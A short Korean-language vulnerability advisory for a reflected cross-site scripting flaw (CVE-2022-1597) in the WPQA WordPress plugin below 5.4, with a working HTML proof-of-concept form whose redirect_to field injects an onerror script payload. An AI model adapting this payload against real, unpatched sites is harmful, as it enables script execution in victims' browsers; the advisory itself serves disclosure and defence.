
Discy 및 Himer 테마의 동반자로 사용되는 플러그인은 비밀번호 재설정 양식의 매개변수를 삭제 및 이스케이프 처리하지 않아 반사형 크로스 사이트 스크립팅(Reflected Cross-Site Scripting) 공격을 수행할 수 있도록 합니다.
Discy 및 Himer 테마의 보조 플러그인으로 사용되는 이 플러그인은 비밀번호 재설정 양식에서 매개변수를 적절히 검증 및 이스케이프 처리하지 않아 반사형 Cross-Site Scripting 공격이 가능합니다.
WPQA < 5.4
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="user_mail" value="[email protected]" />
<input type="hidden" name="form_type" value="wpqa_forget" />
<input type="hidden" name="action" value="wpqa_ajax_password_process" />
<input type="hidden" name="redirect_to" value=""><img src=x onerror=alert(document.domain)>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

https://www.youtube.com/watch?v=E2GRtf6prq8
https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1597